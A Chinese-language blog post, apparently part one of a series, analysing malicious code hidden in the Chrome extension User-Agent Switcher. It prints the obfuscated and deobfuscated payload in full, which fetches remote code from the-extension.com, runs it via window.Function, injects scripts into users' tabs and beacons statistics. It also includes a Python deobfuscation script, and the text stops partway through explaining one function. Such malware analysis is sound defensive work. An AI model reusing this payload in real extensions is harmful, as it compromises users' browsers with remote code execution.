Chrome插件User-Agent Switcher恶意代码分析上部分

0x00 前言

User-Agent Switcher插件里面被爆存在恶意代码。看了网上的分析,决定自己动手分析下。
参考:
[【1】大家注意了 Chrome 的插件 User-Agent Switcher 是个木马][1]
[1]: https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0&nsukey=vFeyuybSy35yBYOU5OJRGu0gxO%2BYXFTrpNbJQwlTlG%2BCeZ9TGicwta9kWHssUsbnpR%2B5MHtZ3xvfNTeP3WF%2BsBDodbJKn4EsSJu67rPwu1GbSAkwNSmKhekvWZ9syprtNbK8irADspy9xXr2kH5U9plG1qpscjuVCAq1zPy4d9aIkoF34iGKp4nf99wBEFsO “大家注意了 Chrome 的插件 User-Agent Switcher 是个木马”

[【2】Chrome插件User-Agent Switcher恶意代码分析报告][2]
[2]: https://cert.360.cn/static/files/Chrome%E6%8F%92%E4%BB%B6User-Agent%20Switcher%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.pdf “Chrome插件User-Agent Switcher恶意代码分析报告”

0x01 隐写术

存在恶意代码的位置是在background.js 80行的位置,这些代码的主要功能是通过promo.jpg提取出隐藏的js代码。

图片的隐写算法就不分析了。直接看从图片中提取出来的代码。

再用chrome自带的美化工具美化代码后的第204行下断,因为在这里就是返回从图片提取代码出来的位置。

1.jpg

然后步入进去,就看到恶意代码了。

2.jpg

0x02 去混淆

可以看到代码很杂乱,有很多的16进制,Promise then 异步,匿名函数。

最先执行的是下面这段匿名函数

1
2
3
4
5
6
7
8
9
var _0x2126 = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
(function(_0x6f8364, _0x4b9bae) {
var _0x3c53a7 = function(_0x221aea) {
while (--_0x221aea) {
_0x6f8364['\x70\x75\x73\x68'](_0x6f8364['\x73\x68\x69\x66\x74']());
}
};
_0x3c53a7(++_0x4b9bae);
}(_0x2126, 0xa2));

这段代码就是将_0x2126这个数组打乱顺序。通过shift方法,将一个元素给删除,然后再通过push方式将删除的元素插入到_0x2126数组里面。如此循环++0xa2 163次。

1
2
3
4
5
6
7
8
9
10
let c = {
'\x57\x4c': {
'\x75\x72\x6c': _0x1838('0x2e'),
'\x47\x6a': 0x2932e00
},
'\x4e\x5a': Math[_0x1838('0x1d')](0x3 * Math[_0x1838('0x1e')]()),
'\x66\x4d': 0x1b7740 * Math[_0x1838('0x1d')](0x1 * Math[_0x1838('0x1e')]() + 0x1),
'\x43\x66': 0xea60 * Math[_0x1838('0x1d')](0x2 * Math[_0x1838('0x1e')]() + 0x1),
'\x46\x44': 0x7
}

这段代码是定义了时间,用于代码的参数,后面会看到作用。在执行这段代码的时候,看到大量使用了_0x1838这个函数。其他部分也大量使用这个函数,看看这个函数的功能。

1
2
3
4
5
var _0x1838 = function(_0x63fdaa, _0x4b2cbf) {
var _0x63fdaa = parseInt(_0x63fdaa, 0x10);
var _0x5570e3 = _0x2126[_0x63fdaa];
return _0x5570e3;
};

首先是将参数1,转成10进制,然后在使用参数1作为_0x2126这个数组的下标,将这个下标的值作为函数的返回结果。

作者利用这样一个函数,增加分析者的阅读难度。所以需要将这些函数给转换下。

写了一段python脚本进行转换下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
import re
data = """
(function() {
(function() {
var _0x2126 = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
(function(_0x6f8364, _0x4b9bae) {
var _0x3c53a7 = function(_0x221aea) {
while (--_0x221aea) {
_0x6f8364['\x70\x75\x73\x68'](_0x6f8364['\x73\x68\x69\x66\x74']());
}
};
_0x3c53a7(++_0x4b9bae);
}(_0x2126, 0xa2));

var _0x1838 = function(_0x63fdaa, _0x4b2cbf) {
var _0x63fdaa = parseInt(_0x63fdaa, 0x10);
var _0x5570e3 = _0x2126[_0x63fdaa];
return _0x5570e3;
};
function e({cat=_0x1838('0x0'), act='', lab='', fr=0x3e8*0x3c*0x3c*0x18}) {
let _0x4b1721 = t(`${cat}_${act}`, c['\x46\x44']);
return l['\x67\x65\x74'](_0x4b1721)[_0x1838('0x1')](_0x9415ed=>{
let _0x5d937f = _0x9415ed[_0x4b1721]
, _0x45c15f = 0x5265c00 == fr ? new Date()[_0x1838('0x3')]() - new Date(_0x5d937f)[_0x1838('0x4')](0x0, 0x0, 0x0, 0x0) >= fr : new Date()[_0x1838('0x3')]() - _0x5d937f >= fr;
if (!_0x5d937f || _0x45c15f) {
let _0x9415ed = `${new URL(c['\x57\x4c'][_0x1838('0x5')])[_0x1838('0x6')]}/stats`;
n(`${_0x9415ed}?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`, '\x50\x4f\x53\x54')['\x74\x68\x65\x6e'](_0x201de8=>{
let _0x9415ed = {};
_0x9415ed[_0x4b1721] = new Date()[_0x1838('0x3')](),
l[_0x1838('0x7')](_0x9415ed);
}
);
}
}
);
}


function n(_0x42ba8f, n=_0x1838('0x8') ) {
return new Promise((_0x3090bd,_0x473358)=>{
function _0x3ad6d4(_0x3a3304, _0x4cce31, _0x57e5fb) {
_0x1838('0x9') === _0x4cce31[_0x1838('0xa')] && (_0x20f3c8(_0x57e5fb, _0x42ba8f) && c['\x4e\x5a'] <= 0x0 && (chrome[_0x1838('0xd')][_0x1838('0xc')][_0x1838('0xb')](arguments[_0x1838('0xe')]),
_0x2bc9ef(_0x3a3304)),
c['\x4e\x5a']--);
}
function _0x2bc9ef(_0x5a3411) {
chrome[_0x1838('0x11')][_0x1838('0x10')][_0x1838('0xf')](_0x4b297c),
chrome[_0x1838('0xd')][_0x1838('0x12')](_0x5a3411, {
'\x63\x6f\x64\x65': `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${n}',url, true);xhr.send();})()`[_0x1838('0x13')]('\x72\x65\x70\x6c\x61\x63\x65\x61\x62\x6c\x65\x75\x72\x6c', `'${_0x42ba8f}'`)
});
}
function _0x4b297c(_0x4a051f) {
_0x4a051f[_0x1838('0x5')] === _0x42ba8f && (_0x3090bd(_0x4a051f[_0x1838('0x14')]),
chrome[_0x1838('0x11')][_0x1838('0x10')]['\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72'](arguments[_0x1838('0xe')]));
}
function _0x20f3c8(_0x45a021, _0x3db6fb) {
return new RegExp(`^((?!(chrome${_0x3db6fb[_0x1838('0x16')](_0x1838('0x17')) ? '\x7c\x68\x74\x74\x70\x73\x7c\x66\x74\x70\x73' : ''})).+://)`)[_0x1838('0x15')](_0x45a021[_0x1838('0x5')]);
}
_0x42ba8f && 0x0 !== _0x42ba8f['\x6c\x65\x6e\x67\x74\x68'] || _0x473358(_0x1838('0x19')),
chrome[_0x1838('0xd')][_0x1838('0x1a')]({}, function(_0x26d445) {
let _0x3090bd = _0x26d445[_0x1838('0x1b')](_0x1c9951=>_0x20f3c8(_0x1c9951, _0x42ba8f) && !_0x1c9951['\x61\x63\x74\x69\x76\x65']);
0x0 === _0x3090bd[_0x1838('0x18')] ? chrome[_0x1838('0xd')][_0x1838('0xc')][_0x1838('0xf')](_0x3ad6d4) : _0x2bc9ef(_0x3090bd[Math[_0x1838('0x1d')](Math['\x72\x61\x6e\x64\x6f\x6d']() * _0x3090bd[_0x1838('0x18')])]['\x69\x64']);
});
}
);
}
function t(_0x474bb1, _0x4cc1c1) {
for (var _0x36e242 = '', _0x35971b = 0x0, _0x519d9f = 0x0; _0x519d9f < _0x474bb1['\x6c\x65\x6e\x67\x74\x68']; _0x519d9f++)
_0x35971b = _0x474bb1[_0x519d9f][_0x1838('0x1f')]() + _0x4cc1c1,
_0x36e242 += String[_0x1838('0x20')](_0x35971b);
return _0x36e242;
}
function o(_0xcaa92b) {
return new Promise((_0x47fce0,_0x349364)=>{
let _0x51ae9e = !0x1
, _0x556fe3 = ''
, _0x58bf0d = '';
try {
_0xcaa92b = JSON[_0x1838('0x21')](_0xcaa92b),
_0x556fe3 = _0xcaa92b[_0x1838('0x22')],
_0x58bf0d = _0xcaa92b[_0x1838('0x23')],
_0x556fe3 == -0x1 || (_0x51ae9e = !0x0);
} catch (_0x1b0f96) {
e({
'\x61\x63\x74': _0x1838('0x24'),
'\x6c\x61\x62': '\x70\x61\x72\x73\x65\x52\x65\x73\x70\x6f\x6e\x73\x65',
'\x66\x72': 0x0
});
}
_0x51ae9e ? l[_0x1838('0x7')]({
'\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31': _0x556fe3,
'\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37': _0x58bf0d
})['\x74\x68\x65\x6e'](_0x207847=>{
l['\x73\x65\x74']({
'\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49': new Date()[_0x1838('0x3')]()
}),
e({
'\x61\x63\x74': _0x1838('0x25'),
'\x6c\x61\x62': _0x58bf0d,
'\x66\x72': 0x0
}),
_0x47fce0({
'\x63\x6f\x64\x65': _0x556fe3,
'\x76\x65\x72\x73\x69\x6f\x6e': _0x58bf0d
});
}
) : (_0x556fe3 != -0x1 && e({
'\x61\x63\x74': _0x1838('0x24'),
'\x6c\x61\x62': _0x1838('0x26'),
'\x66\x72': 0x0
}),
l[_0x1838('0x2')]([_0x1838('0x27'), '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37'])['\x74\x68\x65\x6e'](_0x5d38a5=>{
_0x47fce0({
'\x63\x6f\x64\x65': _0x5d38a5['\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31'],
'\x76\x65\x72\x73\x69\x6f\x6e': _0x5d38a5[_0x1838('0x28')]
});
}
));
}
);
}
function a(_0xfc65f5) {
try {
window[_0x1838('0x29')](_0xfc65f5[_0x1838('0x22')])(l, n, e),
e(_0xfc65f5[_0x1838('0x22')] && 0x0 !== _0xfc65f5['\x63\x6f\x64\x65'][_0x1838('0x18')] || _0xfc65f5[_0x1838('0x23')] && 0x0 !== _0xfc65f5['\x76\x65\x72\x73\x69\x6f\x6e'][_0x1838('0x18')] ? {
'\x61\x63\x74': '\x72\x75\x6e',
'\x6c\x61\x62': _0xfc65f5[_0x1838('0x23')]
} : {
'\x61\x63\x74': _0x1838('0x2a'),
'\x6c\x61\x62': _0x1838('0x2b')
});
} catch (_0x5bd26e) {
e({
'\x61\x63\x74': _0x1838('0x24'),
'\x6c\x61\x62': `run_${_0xfc65f5[_0x1838('0x23')]}`
});
}
}
function r() {
return new Promise((_0x223434,_0x1b9f00)=>{
l[_0x1838('0x2')](_0x1838('0x2c'))['\x74\x68\x65\x6e'](_0x30d294=>{
let _0x55a281 = _0x30d294['\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49'] || 0x0;
0x0 === _0x55a281 && l[_0x1838('0x7')]({
'\x58\x4d\x57\x45\x7a\x49\x34\x53\x66\x64\x43': new Date()[_0x1838('0x3')]()
})['\x74\x68\x65\x6e'](_0x2d7d72=>{
e({
'\x61\x63\x74': '\x69\x6e\x73\x74\x61\x6c\x6c'
});
}
),
new Date()[_0x1838('0x3')]() - _0x55a281 > c['\x57\x4c']['\x47\x6a'] ? setTimeout(function() {
n(`${c['\x57\x4c'][_0x1838('0x5')]}/?hash=jwtmv6kavksy5cazdf4leg66r`, _0x1838('0x8'))[_0x1838('0x1')](o)[_0x1838('0x1')](_0x223434);
}, c['\x66\x4d']) : l[_0x1838('0x2')]([_0x1838('0x27'), _0x1838('0x28')])[_0x1838('0x1')](_0x1d2d5e=>{
_0x223434({
'\x63\x6f\x64\x65': _0x1d2d5e[_0x1838('0x27')],
'\x76\x65\x72\x73\x69\x6f\x6e': _0x1d2d5e['\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37']
});
}
);
}
);
}
);
}
function i() {
setTimeout(function() {
e({
'\x61\x63\x74': _0x1838('0x2d')
}),
r()[_0x1838('0x1')](a);
}, c['\x43\x66']);
}
let c = {
'\x57\x4c': {
'\x75\x72\x6c': _0x1838('0x2e'),
'\x47\x6a': 0x2932e00
},
'\x4e\x5a': Math[_0x1838('0x1d')](0x3 * Math[_0x1838('0x1e')]()),
'\x66\x4d': 0x1b7740 * Math[_0x1838('0x1d')](0x1 * Math[_0x1838('0x1e')]() + 0x1),
'\x43\x66': 0xea60 * Math[_0x1838('0x1d')](0x2 * Math[_0x1838('0x1e')]() + 0x1),
'\x46\x44': 0x7
}
, l = {
'\x67\x65\x74'(e=null) {
return new Promise((_0x459136,_0x1dd2d2)=>{
chrome[_0x1838('0x30')][_0x1838('0x2f')][_0x1838('0x2')](e, function(_0x49e268) {
_0x459136(_0x49e268);
});
}
);
},
'\x73\x65\x74'(_0x1054f4) {
return new Promise((_0x13679c,_0x5182a6)=>{
chrome[_0x1838('0x30')]['\x6c\x6f\x63\x61\x6c'][_0x1838('0x7')](_0x1054f4, function(_0x154ca1) {
_0x13679c(_0x154ca1);
});
}
);
},
'\x79\x4a'(_0x21744e) {
return new Promise((_0x23501d,_0x525375)=>{
chrome[_0x1838('0x30')][_0x1838('0x2f')]['\x79\x4a'](_0x21744e, function(_0x298d92) {
_0x23501d(_0x298d92);
});
}
);
},
'\x45\x45'() {
return new Promise((_0x47a45d,_0x110900)=>{
chrome[_0x1838('0x30')][_0x1838('0x2f')]['\x45\x45'](function(_0x25822d) {
_0x47a45d(_0x25822d);
});
}
);
}
};
i();
}
)()
}
)();
"""

arr = ["eval", "then", "get", "getTime", "setUTCHours", "url", "origin", "set", "GET", "loading", "status", "removeListener", "onUpdated", "tabs", "callee", "addListener", "onMessage", "runtime", "executeScript", "replace", "data", "test", "includes", "http://", "length", "Url error", "query", "filter", "active", "floor", "random", "charCodeAt", "fromCharCode", "parse", "code", "version", "error", "download", "invalidMonetizationCode", "TjPzl8caI41", "KI10wTwwvF7", "Function", "run", "idle", "pyW5F1U43VI", "init", "https://the-extension.com", "local", "storage"]
dict = {}
for i in range(len(arr)):
key = "_0x1838('"+ hex(i) +")";
dict[key] = arr[i]

for i in range(len(arr)):
regx = r"_0x1838\('"+ hex(i) +"'\)"
data = re.sub(regx,'"'+arr[i]+'"',data)

print(data)

f = open("js.txt","w")
f.write(data)

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
(function() {
(function() {
var _0x2126 = ['code', 'version', 'error', 'download', 'invalidMonetizationCode', 'TjPzl8caI41', 'KI10wTwwvF7', 'Function', 'run', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'url', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'tabs', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'replace', 'data', 'test', 'includes', 'http://', 'length', 'Url error', 'query', 'filter', 'active', 'floor', 'random', 'charCodeAt', 'fromCharCode', 'parse'];
(function(_0x6f8364, _0x4b9bae) {
var _0x3c53a7 = function(_0x221aea) {
while (--_0x221aea) {
_0x6f8364['push'](_0x6f8364['shift']());
}
};
_0x3c53a7(++_0x4b9bae);
}(_0x2126, 0xa2));

var _0x1838 = function(_0x63fdaa, _0x4b2cbf) {
var _0x63fdaa = parseInt(_0x63fdaa, 0x10);
var _0x5570e3 = _0x2126[_0x63fdaa];
return _0x5570e3;
};
function e({cat="eval", act='', lab='', fr=0x3e8*0x3c*0x3c*0x18}) {
let _0x4b1721 = t(`${cat}_${act}`, c['FD']);
return l['get'](_0x4b1721)["then"](_0x9415ed=>{
let _0x5d937f = _0x9415ed[_0x4b1721]
, _0x45c15f = 0x5265c00 == fr ? new Date()["getTime"]() - new Date(_0x5d937f)["setUTCHours"](0x0, 0x0, 0x0, 0x0) >= fr : new Date()["getTime"]() - _0x5d937f >= fr;
if (!_0x5d937f || _0x45c15f) {
let _0x9415ed = `${new URL(c['WL']["url"])["origin"]}/stats`;
n(`${_0x9415ed}?hash=jwtmv6kavksy5cazdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`, 'POST')['then'](_0x201de8=>{
let _0x9415ed = {};
_0x9415ed[_0x4b1721] = new Date()["getTime"](),
l["set"](_0x9415ed);
}
);
}
}
);
}


function n(_0x42ba8f, n="GET" ) {
return new Promise((_0x3090bd,_0x473358)=>{
function _0x3ad6d4(_0x3a3304, _0x4cce31, _0x57e5fb) {
"loading" === _0x4cce31["status"] && (_0x20f3c8(_0x57e5fb, _0x42ba8f) && c['NZ'] <= 0x0 && (chrome["tabs"]["onUpdated"]["removeListener"](arguments["callee"]),
_0x2bc9ef(_0x3a3304)),
c['NZ']--);
}
function _0x2bc9ef(_0x5a3411) {
chrome["runtime"]["onMessage"]["addListener"](_0x4b297c),
chrome["tabs"]["executeScript"](_0x5a3411, {
'code': `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${n}',url, true);xhr.send();})()`["replace"]('replaceableurl', `'${_0x42ba8f}'`)
});
}
function _0x4b297c(_0x4a051f) {
_0x4a051f["url"] === _0x42ba8f && (_0x3090bd(_0x4a051f["data"]),
chrome["runtime"]["onMessage"]['removeListener'](arguments["callee"]));
}
function _0x20f3c8(_0x45a021, _0x3db6fb) {
return new RegExp(`^((?!(chrome${_0x3db6fb["includes"]("http://") ? '|https|ftps' : ''})).+://)`)["test"](_0x45a021["url"]);
}
_0x42ba8f && 0x0 !== _0x42ba8f['length'] || _0x473358("Url error"),
chrome["tabs"]["query"]({}, function(_0x26d445) {
let _0x3090bd = _0x26d445["filter"](_0x1c9951=>_0x20f3c8(_0x1c9951, _0x42ba8f) && !_0x1c9951['active']);
0x0 === _0x3090bd["length"] ? chrome["tabs"]["onUpdated"]["addListener"](_0x3ad6d4) : _0x2bc9ef(_0x3090bd[Math["floor"](Math['random']() * _0x3090bd["length"])]['id']);
});
}
);
}
function t(_0x474bb1, _0x4cc1c1) {
for (var _0x36e242 = '', _0x35971b = 0x0, _0x519d9f = 0x0; _0x519d9f < _0x474bb1['length']; _0x519d9f++)
_0x35971b = _0x474bb1[_0x519d9f]["charCodeAt"]() + _0x4cc1c1,
_0x36e242 += String["fromCharCode"](_0x35971b);
return _0x36e242;
}
function o(_0xcaa92b) {
return new Promise((_0x47fce0,_0x349364)=>{
let _0x51ae9e = !0x1
, _0x556fe3 = ''
, _0x58bf0d = '';
try {
_0xcaa92b = JSON["parse"](_0xcaa92b),
_0x556fe3 = _0xcaa92b["code"],
_0x58bf0d = _0xcaa92b["version"],
_0x556fe3 == -0x1 || (_0x51ae9e = !0x0);
} catch (_0x1b0f96) {
e({
'act': "error",
'lab': 'parseResponse',
'fr': 0x0
});
}
_0x51ae9e ? l["set"]({
'TjPzl8caI41': _0x556fe3,
'KI10wTwwvF7': _0x58bf0d
})['then'](_0x207847=>{
l['set']({
'pyW5F1U43VI': new Date()["getTime"]()
}),
e({
'act': "download",
'lab': _0x58bf0d,
'fr': 0x0
}),
_0x47fce0({
'code': _0x556fe3,
'version': _0x58bf0d
});
}
) : (_0x556fe3 != -0x1 && e({
'act': "error",
'lab': "invalidMonetizationCode",
'fr': 0x0
}),
l["get"](["TjPzl8caI41", 'KI10wTwwvF7'])['then'](_0x5d38a5=>{
_0x47fce0({
'code': _0x5d38a5['TjPzl8caI41'],
'version': _0x5d38a5["KI10wTwwvF7"]
});
}
));
}
);
}
function a(_0xfc65f5) {
try {
window["Function"](_0xfc65f5["code"])(l, n, e),
e(_0xfc65f5["code"] && 0x0 !== _0xfc65f5['code']["length"] || _0xfc65f5["version"] && 0x0 !== _0xfc65f5['version']["length"] ? {
'act': 'run',
'lab': _0xfc65f5["version"]
} : {
'act': "run",
'lab': "idle"
});
} catch (_0x5bd26e) {
e({
'act': "error",
'lab': `run_${_0xfc65f5["version"]}`
});
}
}
function r() {
return new Promise((_0x223434,_0x1b9f00)=>{
l["get"]("pyW5F1U43VI")['then'](_0x30d294=>{
let _0x55a281 = _0x30d294['pyW5F1U43VI'] || 0x0;
0x0 === _0x55a281 && l["set"]({
'XMWEzI4SfdC': new Date()["getTime"]()
})['then'](_0x2d7d72=>{
e({
'act': 'install'
});
}
),
new Date()["getTime"]() - _0x55a281 > c['WL']['Gj'] ? setTimeout(function() {
n(`${c['WL']["url"]}/?hash=jwtmv6kavksy5cazdf4leg66r`, "GET")["then"](o)["then"](_0x223434);
}, c['fM']) : l["get"](["TjPzl8caI41", "KI10wTwwvF7"])["then"](_0x1d2d5e=>{
_0x223434({
'code': _0x1d2d5e["TjPzl8caI41"],
'version': _0x1d2d5e['KI10wTwwvF7']
});
}
);
}
);
}
);
}
function i() {
setTimeout(function() {
e({
'act': "init"
}),
r()["then"](a);
}, c['Cf']);
}
let c = {
'WL': {
'url': "https://the-extension.com",
'Gj': 0x2932e00
},
'NZ': Math["floor"](0x3 * Math["random"]()),
'fM': 0x1b7740 * Math["floor"](0x1 * Math["random"]() + 0x1),
'Cf': 0xea60 * Math["floor"](0x2 * Math["random"]() + 0x1),
'FD': 0x7
}
, l = {
'get'(e=null) {
return new Promise((_0x459136,_0x1dd2d2)=>{
chrome["storage"]["local"]["get"](e, function(_0x49e268) {
_0x459136(_0x49e268);
});
}
);
},
'set'(_0x1054f4) {
return new Promise((_0x13679c,_0x5182a6)=>{
chrome["storage"]['local']["set"](_0x1054f4, function(_0x154ca1) {
_0x13679c(_0x154ca1);
});
}
);
},
'yJ'(_0x21744e) {
return new Promise((_0x23501d,_0x525375)=>{
chrome["storage"]["local"]['yJ'](_0x21744e, function(_0x298d92) {
_0x23501d(_0x298d92);
});
}
);
},
'EE'() {
return new Promise((_0x47a45d,_0x110900)=>{
chrome["storage"]["local"]['EE'](function(_0x25822d) {
_0x47a45d(_0x25822d);
});
}
);
}
};
i();
}
)()
}
)();

再执行i()这个函数。

1
2
3
4
5
6
7
8
function i() {
setTimeout(function() {
e({
'act': "init"
}),
r()["then"](a);
}, c['Cf']);
}

使用setTimeout这个函数,c[‘Cf’]=60000 也就是1秒中后执行。先是执行了e函数,在执行了r函数,在使用then执行a函数。
这里使用了逗号运算符号,在这里跟分号一样。

0x03 e函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function e({cat="eval", act='', lab='', fr=0x3e8*0x3c*0x3c*0x18}) {
let _0x4b1721 = t(`${cat}_${act}`, c['FD']);
return l['get'](_0x4b1721)["then"](_0x9415ed=>{
let _0x5d937f = _0x9415ed[_0x4b1721]
, _0x45c15f = 0x5265c00 == fr ? new Date()["getTime"]() - new Date(_0x5d937f)["setUTCHours"](0x0, 0x0, 0x0, 0x0) >= fr : new Date()["getTime"]() - _0x5d937f >= fr;
if (!_0x5d937f || _0x45c15f) {
let _0x9415ed = `${new URL(c['WL']["url"])["origin"]}/stats`;
